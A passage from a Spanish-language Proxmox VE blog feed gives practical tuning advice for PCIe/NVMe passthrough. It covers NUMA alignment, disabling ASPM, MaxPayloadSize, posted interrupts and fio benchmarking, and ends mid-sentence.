--size=1G \\ --filename=/dev/nvme0n1 --runtime=30 --time_based \\ --group_reporting # Same test inside the VM after passthrough fio --name=randread --ioengine=libaio --direct=1 --bs=4k \\ --iodepth=32 --numjobs=4 --rw=randread --size=1G \\ --filename=/dev/nvme0n1 --runtime=30 --time_based \\ --group_reporting Compara los percentiles de clat (latencia de finalización) y las cifras de IOPS. A iodepth=32 con cuatro trabajos, el hueco debería ser de puntos porcentuales de un solo dígito, no del 50 %.\nAlineación NUMA Esto tiene su propio artículo. Ver Alineación NUMA en Proxmox VE — por qué importa y cómo hacerla bien.\nLa versión corta: en sistemas multi-socket, cada dispositivo PCIe está cableado a un socket concreto. Si el disco NVMe está en el nodo NUMA 1 y las vCPU de la VM están fijadas al nodo 0, cada finalización de DMA cruza el enlace entre sockets. Eso añade 50-100ns por operación. A IOPS altas, la diferencia de rendimiento entre NUMA alineado y desalineado es del 20-30 %.\nComprueba con cat /sys/bus/pci/devices/0000:XX:00.0/numa_node, luego fija las vCPU de la VM a núcleos del mismo nodo con el parámetro affinity en la configuración de la VM. En sistemas de un solo socket, esto no es una preocupación.\nPCIe Active State Power Management (ASPM) Esto tiene su propio artículo. Ver ASPM de PCIe y por qué deberías desactivarlo para el passthrough.\nLa versión corta: ASPM permite a los enlaces PCIe entrar en estados de bajo consumo cuando están inactivos. Bajo passthrough, el host todavía controla el enlace físico pero el invitado posee el dispositivo. Cuando el invitado envía IO y el enlace está dormido, el tiempo de despertar añade latencia. El síntoma es una amplia dispersión en tus percentiles de clat. El p99 podría ser 5-10 veces más alto que la media mientras que el promedio parece bien.\nDesactívalo en el host con pcie_aspm=off en la línea de comandos del núcleo. Añade también disable_idle_d3=1 a las opciones del módulo vfio-pci si tu controladora NVMe tiene problemas de recuperación de estado de energía. La Samsung 990 EVO Plus es una infractora conocida.\nMaxPayloadSize (MPS) Esto tiene su propio artículo. Ver PCIe MaxPayloadSize — una mejora de rendimiento gratis para el passthrough.\nLa versión corta: los dispositivos PCIe transfieren datos en Transaction Layer Packets. El complejo raíz virtual de QEMU usa por defecto una carga máxima de 128 bytes. La mayoría de los dispositivos soportan 256 o 512 bytes. Añadir pci=pcie_bus_perf a la línea de comandos del núcleo del host pone el MPS al máximo que permite el bus padre de cada dispositivo. Es una pequeña mejora de rendimiento — un porcentaje bajo de un solo dígito — pero es gratis y sin inconvenientes.\nResizable BAR y apertura MMIO El problema de mapeo de BAR descrito antes tiene pasos prácticos tanto en el lado de la BIOS como en el de la VM.\nPrimero, activa Above 4G Decoding en la BIOS. Esto permite mapear los BAR en el espacio de direcciones por encima de la frontera de los 4GB, que es necesario para cualquier dispositivo con BAR grandes. Actívalo incluso para passthrough solo de NVMe. No tiene inconvenientes y evita problemas si añades una GPU u otro dispositivo de BAR grande más adelante.\nSi ReBAR está disponible en la BIOS, actívalo también. No afectará al rendimiento de NVMe directamente, pero permite a las GPU del mismo host usar su mapeo de framebuffer completo.\nEn el lado de la VM, el complejo raíz Q35 virtual de QEMU necesita una ventana MMIO de 64 bits lo bastante grande para que el invitado vea los BAR redimensionados. Por defecto, OVMF asigna una ventana relativamente pequeña. Para passthrough solo de NVMe esto está bien. Los BAR de NVMe caben cómodamente. Pero si la VM tiene pasados tanto una NVMe como una GPU, aumenta la apertura MMIO:\nargs: -fw_cfg name=opt/ovmf/X-PciMmio64Mb,string=65536 Esto le dice a OVMF que asigne 64GB de espacio MMIO de 64 bits, suficiente para la mayoría de los framebuffers de GPU junto al pequeño BAR de la controladora NVMe.\nEl soporte de ReBAR de QEMU ha ido mejorando pero todavía no es sin costuras. Algunas GPU de AMD (Vega y más nuevas) disparan errores de driver (Code 43 en Windows) con ReBAR activado bajo QEMU. Si te topas con eso, desactiva ReBAR en la BIOS como primer paso. El passthrough de NVMe no se verá afectado de ninguna manera.\nPara lo que hace el Resizable BAR en el lado de la GPU de la valla, y por qué Intel lo trata como obligatorio en Arc mientras NVIDIA lo activa por juego, ver PCIe Resizable BAR y las GPU modernas.\nManejo de interrupciones El problema de entrega de interrupciones descrito antes tiene un paso práctico de ajuste. Las interrupciones publicadas (APICv en Intel, AVIC en AMD) puede que no estén activadas por defecto.\nComprueba si están activas:\n# Intel — look for \u0026#34;Posted-Interrupts\u0026#34; in dmesg dmesg | grep -i \u0026#34;posted\u0026#34; # AMD — check AVIC support dmesg | grep -i \u0026#34;avic\u0026#34; Entrega de interrupciones atrapadas frente a interrupciones publicadas Sin interrupciones publicadas — la finalización va por el camino largo NVMelevanta MSI-X hipervisorla atrapa inyectaen el invitado el invitado reanudala maneja salida de VM entrada de VM 5–20 µs por interrupción A unos pocos cientos de miles de IOPS eso no es un error de redondeo — es el coste dominante. Interrupciones publicadas (Intel APICv / AMD AVIC) — directo dentro NVMelevanta MSI-X IOMMUla escribe directamente la página APIC virtual del invitado el invitado solo ve una interrupción sin salida sin salida ~100s de ns No hay solución por software: las interrupciones publicadas son una capacidad de hardware. Pero no están siempre activadas por defecto, así que compruébalas antes de concluir que el camino lento es inevitable. Cuatro pasos y dos salidas de VM, o una escritura en la página APIC del invitado. A IOPS altas la diferencia deja de ser académica. En sistemas AMD EPYC, activa AVIC en el módulo KVM si no está activado por defecto:\n# /etc/modprobe.d/kvm.conf options kvm_amd avic=1 En sistemas Intel, APICv con interrupciones publicadas normalmente se activa automáticamente cuando VT-d está activo.\nSi tu plataforma no soporta interrupciones publicadas, no hay solución por software. Es una capacidad de hardware. Pero vale la pena verificar que de verdad está activada antes de suponer que el camino lento es inevitable.\nAfinidad de interrupciones y alineación de colas Las controladoras NVMe usan varios pares de colas de envío y finalización. Normalmente uno por núcleo de CPU. Cuando las vCPU de la VM no se alinean con los núcleos físicos que manejan las interrupciones de NVMe, las finalizaciones tienen que cruzar núcleos vía interrupciones interprocesador. Eso añade latencia.\nDentro del invitado, comprueba cuántas colas de IO ha creado el driver NVMe y cómo están mapeadas:\n# List NVMe IO queues cat /proc/interrupts | grep nvme # Check affinity for irq in $(grep nvme /proc/interrupts | awk \u0026#39;{print $1}\u0026#39; | tr -d \u0026#39;:\u0026#39;); do echo \u0026#34;IRQ $irq: $(cat /proc/irq/$irq/smp_affinity_list)\u0026#34; done Idealmente, la interrupción de cada cola de IO de NVMe debería afinizarse a la vCPU que envía a esa cola. La mayoría de los drivers NVMe modernos manejan esto automáticamente. Pero vale la pena verificarlo, especialmente si has fijado vCPU a mano o reducido el número de vCPU por debajo del número de colas de la controladora.\nUsa siempre Q35, no i440fx Esto merece su propio artículo. Ver Usa siempre Q35, no i440fx.\nLa versión corta: i440fx presenta un bus PCI heredado plano. Q35 presenta un complejo raíz PCIe adecuado. Los dispositivos de passthrough en i440fx aparecen como PCI heredado, lo que rompe la entrega de interrupciones multi-cola MSI-X. Las controladoras NVMe necesitan MSI-X para su arquitectura de una-cola-por-núcleo. Sin él, todas las finalizaciones de IO se embudan por una única interrupción y obtienes un cuello de botella a IOPS altas que ninguna cantidad de ajuste del núcleo arreglará.\nEn Proxmox 8.x y más nuevo, Q35 es el valor por defecto para las VM nuevas. Si estás haciendo passthrough en una VM antigua que todavía es i440fx, cámbiala. RHEL 10 ha declarado formalmente obsoleto i440fx, y el ecosistema KVM más amplio va detrás.\nJuntándolo todo Aquí tienes un resumen de los pasos de ajuste en orden de impacto.\nLos pasos de ajuste en orden de impacto, y qué cambia cada uno de verdad en orden de impacto qué cambia 1 Alineación NUMA 20-30 % del rendimiento en una máquina multi-socket. Nada más de esta lista se le acerca. RENDIMIENTO 2 ASPM apagado Quita la latencia de despertar de la cola. La media apenas se mueve; el p99 sí. JITTER DE LATENCIA 3 Profundidades de cola realistas No cambia nada en la máquina. Te impide sacar la conclusión equivocada de iodepth=1. LA MEDICIÓN 4 Interrupciones publicadas (APICv / AVIC) De microsegundos a nanosegundos por interrupción — pero solo si la plataforma lo tiene. Verifica, no supongas. COSTE POR INTERRUPCIÓN 5 MaxPayloadSize — pci=pcie_bus_perf Un porcentaje bajo de un solo dígito. Gratis, sin inconvenientes, así que ponlo — pero no esperes verlo. SOBRECARGA DE CABLE 6 vfio-pci disable_idle_d3 Impide que una controladora quisquillosa muera en D3. Compra fiabilidad, no velocidad. FIABILIDAD Ordenadas, deliberadamente no dibujadas como barras: no comparten unidad, así que un gráfico de barras invitaría a una comparación que no está. Trabaja hacia abajo por esta lista, no a lo ancho. La primera entrada vale más que el resto juntas en una máquina multi-socket. Alineación NUMA — asegúrate de que el disco NVMe y las vCPU de la VM están en el mismo nodo NUMA. Esto solo puede explicar una diferencia de rendimiento del 20-30 % en sistemas multi-socket.\nASPM apagado — añade pcie_aspm=off a la línea de comandos del núcleo del host. Elimina el jitter de latencia de las transiciones de estado de energía del enlace PCIe.\nProfundidades de cola realistas — prueba a iodepth=32 o más, no a iodepth=1. La sobrecarga del IOMMU que domina a profundidades de cola bajas se amortiza a profundidades realistas.\nInterrupciones publicadas — verifica que APICv (Intel) o AVIC (AMD) está activo. Reduce la sobrecarga por interrupción de microsegundos a nanosegundos.\nOptimización de MPS — añade pci=pcie_bus_perf a la línea de comandos del núcleo del host. Pone MaxPayloadSize al máximo que soporta la topología.\nGestión de energía de vfio-pci — añade disable_idle_d3=1 si tu controladora NVMe tiene problemas de estado de energía bajo passthrough.\nUna línea de comandos del núcleo del host combinada para un nodo Proxmox haciendo passthrough de NVMe en un sistema AMD EPYC quedaría algo así:\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet amd_iommu=on iommu=pt pcie_aspm=off pci=pcie_bus_perf\u0026#34; Para Intel:\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet intel_iommu=on iommu=pt pcie_aspm=off pci=pcie_bus_perf\u0026#34; Cuándo el passthrough no vale la pena Antes de meterte por este camino, vale la pena preguntar si de verdad necesitas passthrough de NVMe en absoluto.\nVirtIO-SCSI y VirtIO-BLK con un disco virtual respaldado por NVMe ya son muy eficientes. La sobrecarga comparada con el passthrough es normalmente del 5-10 % en latencia. La diferencia de rendimiento es insignificante para la mayoría de las cargas.\nEl passthrough tiene sentido cuando necesitas que el SO invitado gestione el dispositivo directamente. Eso incluye la monitorización SMART, las actualizaciones de firmware, el control de TRIM/discard, y funciones específicas de NVMe como las reservas. También tiene sentido para cargas sensibles a la latencia donde incluso unos pocos microsegundos importan. Ciertos motores de base de datos y la ingesta de datos en tiempo real caen en esa categoría.\nPara todo lo demás, los compromisos operativos cubiertos antes — pérdida de migración en vivo, pérdida de instantáneas e integración de copias — normalmente pesan más que la pequeña ganancia de rendimiento.\nNo hay nada listo en elegir el camino más difícil cuando el más fácil hace el trabajo.\nVerificar tus cambios Después de aplicar los pasos de ajuste, verifica que todo funciona como se espera:\n# Host side — confirm IOMMU is in passthrough mode dmesg | grep -i iommu # Confirm ASPM is disabled lspci -vv | grep -i \u0026#34;ASPM Disabled\u0026#34; # Check MPS on the NVMe controller lspci -vv -s XX:00.0 | grep MaxPayload # Inside the VM — run the fio comparison fio --name=randread --ioengine=libaio --direct=1 --bs=4k \\ --iodepth=32 --numjobs=4 --rw=randread --size=1G \\ --filename=/dev/nvme0n1 --runtime=30 --time_based \\ --group_reporting Compara los resultados de la VM con tu baseline de bare metal de antes. A iodepth=32, deberías ver un rendimiento dentro del 5 % del bare metal. Los promedios de latencia de finalización deberían estar dentro de 10-15µs de las cifras del host. Si el hueco sigue siendo grande, comprueba la alineación NUMA primero. Es el factor que más comúnmente se pasa por alto. También no cuesta nada más que un cambio de configuración, lo que lo hace la mejor clase de problema con el que quedarse.\nReferencias Documentación PCI del núcleo Linux — opciones de ajuste de MPS y MRRS — la fuente autoritativa para pcie_bus_perf, pcie_bus_safe, y parámetros relacionados Guía de administración de Proxmox VE — passthrough PCI(e) — documentación oficial de Proxmox sobre la configuración del passthrough de dispositivos VFIO Foro de Proxmox — rendimiento del passthrough de NVMe — la discusión de la comunidad que motivó este artículo ","permalink":"https://blogs.damiendye.uk/es/proxmox/pcie-passthrough-performance-the-iommu-tax/","summary":"Por qué los dispositivos PCIe pierden rendimiento cuando se pasan a una VM vía VFIO, y los pasos prácticos de ajuste que recuperan la mayor parte.","title":"Rendimiento del passthrough PCIe en Proxmox VE — el impuesto del IOMMU y cómo minimizarlo"},{"content":"Qué es NUMA NUMA significa acceso no uniforme a memoria (Non-Uniform Memory Access). En un sistema de un solo zócalo, cada núcleo de CPU accede a toda la RAM del sistema a través del mismo controlador de memoria. El tiempo de acceso es el mismo sin importar qué núcleo hace la petición ni dónde se sientan los datos en la memoria física.\nEn un sistema multizócalo, cada zócalo de CPU tiene su propio controlador de memoria y su propio banco de RAM. Un núcleo del zócalo 0 puede acceder a la RAM conectada al zócalo 0 rápidamente — eso es memoria local. También puede acceder a la RAM conectada al zócalo 1, pero esa petición tiene que cruzar el enlace entre zócalos (Intel UPI, AMD Infinity Fabric). Eso es memoria remota, y es más lenta.\nEl kernel llama a cada zócalo-con-su-memoria-local un nodo NUMA. Un sistema AMD EPYC de doble zócalo tiene al menos dos nodos NUMA. Algunos procesadores EPYC exponen cuatro nodos NUMA por zócalo (uno por CCD), dando ocho nodos en una placa de doble zócalo.\nLa diferencia de rendimiento entre acceso a memoria local y remota no es sutil. El acceso local ronda los 80–100 ns. El acceso remoto ronda los 130–200 ns. Eso es una penalización del 50–100 % por operación de memoria. Por sí solo es un número muy pequeño. Pagado en cada acceso a memoria durante toda la vida de la VM, deja de ser pequeño.\nPor qué importa para la virtualización Cuando Proxmox crea una VM, asigna vCPU y RAM. Por defecto, esas vCPU pueden planificarse en cualquier núcleo físico de cualquier zócalo. La RAM de la VM puede asignarse desde el pool de memoria de cualquier nodo NUMA.\nSi el planificador pone una vCPU en el zócalo 0 y la RAM de la VM está en el zócalo 1, cada acceso a memoria que haga esa vCPU cruza el enlace entre zócalos. Si las vCPU rebotan entre zócalos — cosa que harán si no están fijadas — el patrón de acceso a memoria se vuelve un desastre. Algunos accesos son locales, otros remotos, y el rendimiento de la VM fluctúa en consecuencia.\nPara cargas generales — un servidor web, un servidor de archivos, una VM de escritorio — esto suele ser llevadero. La sobrecarga está ahí pero se reparte entre muchas operaciones y no domina.\nPara cargas intensivas de E/S — bases de datos, servidores de almacenamiento, cualquier cosa que haga mucha E/S de disco o red — la penalización se compone. Cada finalización de DMA, cada entrega de interrupción, cada copia de búfer implica un acceso a memoria. Si esos accesos cruzan zócalos, la sobrecarga suma rápido.\nPor qué importa para el passthrough Los dispositivos PCIe están cableados físicamente a un zócalo de CPU concreto. Cada zócalo tiene su propio complejo raíz PCIe. La unidad NVMe de la ranura 3 podría estar en las líneas PCIe del zócalo 0. La GPU de la ranura 5 podría estar en las del zócalo 1.\nCuando un dispositivo hace DMA, los datos van a la memoria conectada al nodo NUMA al que el IOMMU los mapee. Si la RAM de la VM se asigna desde el nodo local del dispositivo, la escritura DMA va directa a memoria local. Si la RAM está en el otro nodo, cada operación DMA cruza el enlace entre zócalos.\nPara una unidad NVMe haciendo cientos de miles de IOPS, esa penalización de 50–100 ns por operación suma. Con iodepth=32 y lecturas aleatorias de 4 KB, la diferencia de rendimiento entre NUMA alineado y desalineado puede ser del 20–30 %. Eso es antes de haber mirado la sobrecarga del IOMMU, el ASPM, el MPS ni nada más.\nUn NUMA desalineado envía cada DMA por el enlace entre zócalos; alineado, lo mantiene local Desalineado — la VM está en el nodo 0, la unidad en el nodo 1 Nodo NUMA 0 núcleos 0–15 RAM 128 GB VM: vCPU fijadas 0–15, RAM asignada aquí Nodo NUMA 1 núcleos 16–31 RAM 128 GB NVMe — complejo raíz 1 UPI / IF cada DMA cruza el enlace — 130–200 ns Alineado — vCPU, RAM y unidad todos en el nodo 1 Nodo NUMA 0 núcleos 0–15 RAM 128 GB libre para otras VM Nodo NUMA 1 núcleos 16–31 RAM 128 GB NVMe — complejo raíz 1 VM: affinity 16-31, numa0 hostnodes=1, policy=bind en reposo 80–100 ns Con iodepth=32 y lecturas aleatorias de 4 KB la diferencia entre ambos es del 20–30 % del rendimiento — antes de que entren en juego la sobrecarga del IOMMU, el ASPM o el MPS. En un sistema de un solo zócalo no hay segundo nodo ni enlace entre zócalos, así que nada de esto aplica. El mismo hardware en ambos casos. La única diferencia es a qué nodo se fijó la VM — y si el DMA de la unidad tiene que cruzar el enlace para alcanzar la memoria de la VM. Lo mismo aplica a tarjetas de red, GPU y cualquier otro dispositivo pasado por passthrough. El tráfico DMA del dispositivo debería aterrizar en memoria local, y las vCPU que procesan ese tráfico deberían estar en el mismo nodo.\nCómo comprobar tu topología Averiguar en qué nodo NUMA está un dispositivo # Replace 0000:XX:00.0 with your device\u0026#39;s PCI address from lspci cat /sys/bus/pci/devices/0000:XX:00.0/numa_node Esto devuelve el número de nodo NUMA. Si devuelve -1, el kernel no pudo determinar el nodo. Eso pasa a veces con dispositivos detrás de ciertos conmutadores PCIe. En ese caso, traza la topología PCIe a mano con lspci -tv y empareja el puerto raíz con el zócalo.\nVer tu disposición NUMA completa numactl --hardware Esto te muestra cada nodo NUMA, cuántos núcleos de CPU tiene, cuánta memoria hay conectada, y la distancia (coste relativo) entre nodos.\nSalida de ejemplo de un sistema EPYC de doble zócalo:\navailable: 2 nodes (0-1) node 0 cpus: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 node 0 size: 131072 MB node 1 cpus: 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 node 1 size: 131072 MB node distances: node 0 1 0: 10 32 1: 32 10 Leer la tabla de distancias entre nodos de numactl --hardware La tabla de distancias de\u0026#160;numactl --hardware Doble zócalo, 2 nodos NUMA por zócalo. Coste relativo, no nanosegundos. nodo 0 nodo 1 nodo 2 nodo 3 nodo 0 nodo 1 nodo 2 nodo 3 10 16 32 32 16 10 32 32 32 32 10 16 32 32 16 10 zócalo 0 zócalo 1 10 — el nodo en sí, memoria local 16 — mismo zócalo, el otro nodo 32 — a través del enlace entre zócalos Fija una VM y su dispositivo en un mismo 10, y no dejes nunca que su memoria caiga en un 32. Una placa de 2 nodos solo muestra 10 y 32; los 16 aparecen cuando un zócalo expone varios nodos. Los números son costes relativos, no nanosegundos. Mantén una VM y su dispositivo dentro de un mismo 10, y no dejes nunca que su memoria aterrice en un 32. La tabla de distancias te dice el coste relativo. 10 es local. 32 es remoto. Números más altos significan más saltos. En montajes EPYC de cuatro nodos por zócalo, algunos pares de nodos tienen distancias de 32 mientras otros son 16, según en qué CCD estén.\nMapear dispositivos a nodos # List all PCI devices and their NUMA nodes for dev in /sys/bus/pci/devices/*; do node=$(cat \u0026#34;$dev/numa_node\u0026#34; 2\u0026gt;/dev/null) echo \u0026#34;$(basename $dev) node=$node $(lspci -s $(basename $dev) 2\u0026gt;/dev/null | cut -d\u0026#39; \u0026#39; -f2-)\u0026#34; done Esto te da una imagen completa de qué dispositivos están en qué nodos. Busca tus controladoras NVMe, tarjetas de red y cualquier GPU que pases por passthrough.\nCómo alinear una VM en Proxmox Fijar las vCPU al nodo correcto En el archivo de configuración de la VM (/etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf):\nnuma: 1 affinity: 0-15 # Adjust to match cores on the correct NUMA node El parámetro affinity fija las vCPU de la VM a núcleos físicos concretos. Ponlo en el rango de núcleos del mismo nodo NUMA que tu dispositivo pasado por passthrough.\nSi tu NVMe está en el nodo 1 y el nodo 1 tiene los núcleos 16–31, pon affinity: 16-31. Si la VM solo necesita 8 vCPU, fíjala a un subconjunto: affinity: 16-23.\nAsignar memoria del nodo correcto Habilitar numa: 1 en la configuración de la VM le dice a Proxmox que presente a la VM con topología NUMA. QEMU intentará asignar la memoria de la VM desde el nodo NUMA donde están fijadas las vCPU.\nPara un control explícito, puedes fijar la topología NUMA en la configuración de la VM:\nnuma0: cpus=0-7,hostnodes=0,memory=16384,policy=bind Esto le dice a QEMU que enlace el primer nodo NUMA de la VM (nodo 0 desde la perspectiva del invitado) al nodo NUMA 0 del host, usando los núcleos 0–7 y 16 GB de memoria. El policy=bind asegura que la memoria se asigne estrictamente desde ese nodo en vez de recurrir a otros nodos si el pool local está bajo presión.\nVerificar la fijación Tras arrancar la VM, comprueba que las vCPU corren de verdad donde esperas:\n# Find the QEMU process pgrep -a qemu | grep \u0026lt;vmid\u0026gt; # Check CPU affinity of the process taskset -cp \u0026lt;pid\u0026gt; # Or check per-vCPU thread affinity for tid in $(ls /proc/\u0026lt;pid\u0026gt;/task/); do echo \u0026#34;Thread $tid: $(taskset -cp $tid 2\u0026gt;/dev/null)\u0026#34; done Errores comunes No fijar en absoluto Si no pones affinity, las vCPU de la VM pueden planificarse en cualquier núcleo. El planificador del kernel las moverá entre nodos según el balanceo de carga. Cada vez que una vCPU migra de un nodo a otro, cualquier dato con el que estuviera trabajando en la caché del nodo antiguo pasa a ser remoto.\nPara VM generales esto es aceptable. Para VM de passthrough haciendo mucha E/S, no lo es.\nFijar al nodo equivocado Comprueba el nodo NUMA del dispositivo antes de fijar. No lo des por hecho. En algunas placas base, la numeración física de las ranuras no coincide con la asignación de nodo NUMA de forma obvia. Verifica siempre con cat /sys/bus/pci/devices/.../numa_node.\nSobresuscribir un nodo Si fijas demasiadas VM al mismo nodo NUMA, los núcleos de ese nodo quedan sobresuscritos y el pool de memoria local se agota. Cuando la memoria desborda al nodo remoto, obtienes lo peor de ambos mundos: vCPU fijadas con memoria remota.\nEquilibra la colocación de tus VM entre nodos. Si tienes dos nodos NUMA y cuatro VM, repártelas por igual.\nOlvidar la asignación de memoria Fijar las vCPU sin controlar también la asignación de memoria te da la mitad del beneficio. Las vCPU están en el nodo correcto pero la memoria podría no estarlo. Usa policy=bind o como mínimo habilita numa: 1 para que la asignación de QEMU siga a la fijación de CPU.\nSistemas de un solo zócalo En un sistema de un solo zócalo, todo está en el nodo NUMA 0. Solo hay un controlador de memoria y un juego de líneas PCIe. La alineación NUMA no es una preocupación.\nAún puedes poner numa: 1 en la configuración de la VM — no hará daño — pero tampoco ayudará. Un zócalo, un controlador de memoria, nada que alinear. Ahorra el esfuerzo para una máquina que tenga dos. Como tal, las ganancias de rendimiento descritas aquí solo aplican a sistemas multizócalo donde existe el enlace entre zócalos.\nReferencias Proxmox VE Administration Guide — CPU and NUMA Configuration — documentación oficial sobre fijación de vCPU y opciones NUMA Linux kernel NUMA documentation — referencia de la política de memoria del kernel AMD EPYC 7003 Series — BIOS \u0026amp; Workload Tuning Guide (doc 58002) — documentación de AMD sobre topología NUMA por zócalo y CCD/CCX ","permalink":"https://blogs.damiendye.uk/es/proxmox/numa-alignment-proxmox/","summary":"En sistemas multizócalo, una VM con sus vCPU en un nodo NUMA y su dispositivo pasado por passthrough en otro pierde un 20–30 % de rendimiento antes de haber mirado nada más.","title":"Alineación NUMA en Proxmox VE — por qué importa y cómo hacerla bien"},{"content":"Qué hace el ASPM La gestión de energía en estado activo (ASPM) de PCIe permite que los enlaces PCIe entren en estados de bajo consumo cuando están ociosos. La especificación PCIe define varios estados de enlace:\nL0 es el estado plenamente activo. El enlace está levantado, ambos extremos alimentados, los datos pueden fluir de inmediato.\nL0s es un estado ocioso ligero. El enlace se apaga parcialmente. La recuperación a L0 tarda alrededor de 1–4 µs según el hardware. Ambos extremos pueden entrar en L0s de forma independiente.\nL1 es un estado ocioso más profundo. Ambos extremos del enlace se apagan juntos. La recuperación a L0 tarda más — típicamente 2–32 µs, a veces más. El tiempo exacto de recuperación depende del dispositivo, la generación PCIe y la plataforma.\nL1.1 y L1.2 son subestados de L1 introducidos en PCIe 3.0. Reducen el consumo aún más apagando la referencia de reloj del PLL. La recuperación desde L1.2 puede tardar 32–100 µs. Para un dispositivo de almacenamiento eso no es un error de redondeo. Es más o menos lo que tardaba la lectura que intentabas hacer en primer lugar.\nCuanto más profundo duerme el enlace, más espera la siguiente E/S estado del enlace tiempo de recuperación a L0 — la latencia que paga una E/S si llega ahora L0 plenamente activo — datos de inmediato ninguno L0s reposo ligero, cada extremo por separado 1–4 µs L1 reposo profundo, ambos extremos juntos 2–32 µs L1.1 / L1.2 subestados PCIe 3.0 — reloj PLL apagado 32–100 µs Las barras están a escala frente al peor caso de 100 µs. Un sueño más profundo ahorra más energía y cuesta más al despertar. Las barras son los tiempos de recuperación, dibujados a escala frente al peor caso de 100 µs. Un sueño más profundo ahorra más energía y cuesta más cuando el tráfico se reanuda. La idea es sencilla. Si un enlace PCIe está ocioso unos microsegundos, pásalo a un estado de menor consumo. Cuando el tráfico se reanuda, despiértalo. Ahorra algo de energía mientras tanto.\nEn un portátil o un equipo de sobremesa que pasa la mayor parte del tiempo sin hacer nada, el ASPM ahorra energía de verdad. Unos vatios por enlace, que suman a lo largo de todos los dispositivos PCIe del sistema. En un servidor con cargas intensivas de E/S, los enlaces rara vez están ociosos el tiempo suficiente para que el ASPM entre en juego de forma significativa.\nPor qué causa problemas bajo passthrough En hardware nativo, el sistema operativo y el controlador del dispositivo negocian juntos la gestión de energía. El controlador NVMe sabe cuándo el enlace va a quedar ocioso y cuándo va a enviar nueva E/S. El subsistema PCIe del kernel coordina las transiciones de estado del enlace con el controlador. Todo va sincronizado.\nBajo passthrough VFIO, esa coordinación se rompe.\nEl kernel del host sigue controlando el enlace PCIe físico. La VM invitada es dueña del dispositivo a través de VFIO, pero no controla el enlace en sí. El subsistema PCIe del host ve que el enlace queda ocioso — porque desde la perspectiva del host ningún controlador del lado host lo está usando. Pasa el enlace a un estado de bajo consumo. Cuando el invitado envía E/S, el dispositivo necesita el enlace de vuelta en L0. El tiempo de recuperación aparece como latencia añadida en esa operación de E/S.\nEl resultado es una latencia inconsistente. La mayoría de las E/S se completan a velocidad normal. Algunas tardan mucho más porque topan con un enlace que está en L1 o L1.2 y tiene que despertar primero. Esto aparece como una amplia dispersión en tus percentiles de clat (latencia de finalización). La media puede tener buena pinta. El p99 puede ser 5–10 veces mayor.\nEsto es difícil de detectar porque los números de rendimiento medio pueden tener buena pinta. Solo ves el problema cuando miras la latencia de cola. Muchos benchmarks no lo resaltan a menos que pidas la salida por percentiles.\nEl ASPM deja intacta la media y destroza la cola ASPM activo pcie_aspm=off latencia de finalización (µs) 0 30 60 90 120 3× peor en p99 — y 7× su propia media ASPM activo pcie_aspm=off p50 p90 p99 p99.9 p99.99 La media y el p50 son idénticos en ambas ejecuciones — solo la cola los separa. Las cifras ilustran el patrón, no son medidas de una unidad concreta. La misma unidad con y sin ASPM. El p50 es idéntico, así que un benchmark de solo media no informa de problema alguno; el daño está todo pasado el p90, donde se acumulan las E/S que toparon con un enlace dormido. La particularidad específica de VFIO Hay aquí una particularidad que va más allá del problema básico de «el host y el invitado peleándose por el estado del enlace».\nCuando un dispositivo está enlazado a vfio-pci en el host, el kernel del host sabe que el dispositivo está en modo passthrough. Pero la política de ASPM de PCIe se aplica a nivel de enlace, no de dispositivo. La política de ASPM del host sigue aplicándose al enlace físico porque el host sigue siendo dueño de la topología PCIe.\nVFIO no intercepta ni anula las transiciones de ASPM. Pasa a través del espacio BAR del dispositivo y las interrupciones, pero la gestión de energía del enlace permanece bajo control del host. El invitado no tiene ningún mecanismo para decirle al host «mantén este enlace en L0».\nEl invitado es dueño del dispositivo; el host sigue siendo dueño del enlace — y no hay canal entre ellos VM invitada controlador NVMe dueño del dispositivo, envía la E/S Kernel del host subsistema PCIe política ASPM vfio-pci política de estados D ninguna forma de decir «mantén este enlace en L0» enlace PCIe físico — en L1, dormido esto lo decide el host, no el invitado el host no ve a nadie usar el enlace, así que lo deja dormir el invitado envía E/S, esperando L0 esta E/S espera a que el enlace despierte — 2–32 µs, o hasta 100 µs desde L1.2 VFIO pasa el espacio BAR y las interrupciones. La gestión de energía del enlace no entra en el trato. La mayoría de las E/S no topan nunca con el enlace dormido, y por eso solo se mueve la cola. La división que lo causa: el invitado es dueño del dispositivo y envía la E/S, el host es dueño del enlace y decide cuándo duerme, y nada conecta a los dos. Algún hardware y algunas versiones del kernel más nuevas gestionan esto mejor que otras. Como tal, el enfoque más seguro es quitar el ASPM del cuadro por completo.\nCómo desactivarlo Añade pcie_aspm=off a la línea de comandos del kernel del host:\n# Edit /etc/default/grub GRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet pcie_aspm=off\u0026#34; # Update GRUB and reboot update-grub reboot Esto impide que el host ponga cualquier enlace PCIe en un estado de bajo consumo. Se aplica globalmente. A todos los dispositivos PCIe del host, no solo al que se pasa por passthrough.\nVerifica tras reiniciar:\n# Should show \u0026#34;ASPM Disabled\u0026#34; for all devices lspci -vv | grep -i \u0026#34;ASPM\u0026#34; El coste en energía Desactivar el ASPM sí aumenta el consumo en reposo. Cada enlace PCIe que de otro modo estaría en L1 se queda en L0, consumiendo unos cientos de milivatios más. A lo largo de un sistema con diez o quince dispositivos PCIe, eso podría sumar 2–5 vatios en reposo.\nPara un servidor en un centro de datos, 2–5 vatios es un error de redondeo en la factura eléctrica. Para un homelab, es una fracción de lo que consumen la CPU y la memoria. Para un portátil, importa. Pero no harías passthrough VFIO con la batería de un portátil.\nEl compromiso está claro. Unos vatios de consumo en reposo frente a picos de latencia impredecibles en tus dispositivos pasados por passthrough. En cualquier sistema que haga passthrough, el ASPM debería estar desactivado.\nProblemas de estado de energía a nivel de dispositivo El ASPM controla el estado de energía del enlace PCIe. Los dispositivos también tienen su propia gestión de energía — los estados D de PCIe (D0 a D3).\nCuando un dispositivo está en D3 (totalmente apagado), no es solo el enlace lo que duerme. El propio dispositivo se ha detenido. Bajo passthrough VFIO, el controlador vfio-pci del host puede poner el dispositivo en D3 cuando la VM no está en marcha o cuando la política de gestión de energía del host decide que el dispositivo está ocioso.\nAlgunas controladoras NVMe no gestionan limpiamente la transición de D3 a D0. No vuelven limpiamente, el invitado pierde el dispositivo, y la única salida es reiniciar la VM o a veces reiniciar el host.\nLa Samsung 990 EVO Plus es una infractora conocida. El arreglo es la opción 